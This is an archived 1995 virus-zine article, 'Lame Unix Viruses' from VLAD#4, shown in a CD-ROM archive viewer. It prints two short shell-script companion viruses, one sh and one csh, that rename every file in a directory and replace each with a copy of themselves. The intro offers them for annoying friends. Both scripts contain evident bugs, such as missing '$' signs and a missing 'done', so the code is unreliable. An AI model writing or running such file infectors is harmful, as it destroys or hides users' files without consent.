home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / MAGS.ZIP / VLAD#4.ZIP / ARTICLE.3_7 < prev    next >
Encoding:
Text File  |  1995-04-27  |  1.8 KB  |  64 lines

  1.  
  2.   Lame Unix Viruses
  3.   +---------------+
  4.  
  5.   Well, you might have read the title to this article and thought, well
  6.   if the damn thing is lame.. why the fuck is it in vlad#4 ?!  This can
  7.   be answered quite simply, we had one free space! :)  It was a bit of
  8.   a dilemma to begin with, we had four articles and one space.  The problem
  9.   was they were all kinda lame.  So it was a lame pick of the month episode.
  10.  
  11.   Out of the four articles this was the leastest lamest.  Well actually
  12.   I don't know about that, but anyway it was the most different one we
  13.   had sitting there.  Just to prove the title, the author of these
  14.   masterpieces asked to remain anonymous to save his reputation.
  15.  
  16.   These "viruses" are the equivalent of a DOS batch file infector because
  17.   they are written in shell language.  They function similarly to companion
  18.   infectors by renaming the original file and replacing it with themselves.
  19.   Disinfection is simple by 'mv'ing (moving) the original files back.
  20.  
  21.   Anyway, perhaps someone is interested so here they are.  There isn't
  22.   much use for them except to annoy your friends when it messes up all
  23.   the files in their directory.
  24.  
  25. +-----------------------------------+
  26. #!/bin/sh
  27. # Dumb Unix Virus
  28. # I dont wanna write anutha dumb unix virus qark, i wont
  29. # Due to excess lameness, dont distribute
  30. # <Author's name withheld for obvious reasons>
  31. for files in *
  32. do
  33.  if [ -x files ]  
  34.  then
  35.      if [ ! -d files ]
  36.      then
  37.        mv files files.EVILVIRUS.HELPME
  38.        cp $0 files
  39.        chmod +x files
  40.        files.EVILVIRUS.HELPME
  41.      fi
  42.    fi
  43.  
  44. +-----------------------------------+
  45.  
  46. cat << _EOF >unix.virus
  47.  
  48.  
  49. #!/bin/csh
  50. # Dumber Unix Virus
  51. #  by 
  52. #     SumUtherGuy
  53. foreach i (*)
  54. mv $i bak.$i
  55. cp $0 $i  
  56. i >> $i
  57.  
  58. end
  59. _EOF
  60.  
  61. +-----------------------------------+
  62.  
  63.  
  64.